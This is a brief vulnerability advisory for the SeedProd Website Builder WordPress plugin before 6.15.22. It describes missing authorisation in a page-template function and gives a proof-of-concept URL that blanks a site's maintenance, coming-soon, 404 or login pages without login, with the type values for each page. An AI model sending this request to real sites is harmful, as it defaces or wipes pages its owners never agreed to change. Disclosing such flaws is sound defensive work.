Website Builder by SeedProd < 6.15.22 - Unauthenticated Plugin Page Content Update

Description The plugin does not have authorisation in its seedprod_lite_new_lpage function, allowing unauthenticated attackers to update the contents of coming-soon, maintenance pages, login and 404 pages set up with the plugin to a blank state

PoC

As unauthenticated, open the following URL to put the Maintenance Mode page as blank: https://example.com/wp-admin/admin-post.php?page=seedprod_lite_template&amp;id;=0&amp;type;=mm To update other page, change the type parameter accordingly: - cs for Coming Soon - mm for Maintenance Mode - p404 for 404 - loginp for Login Page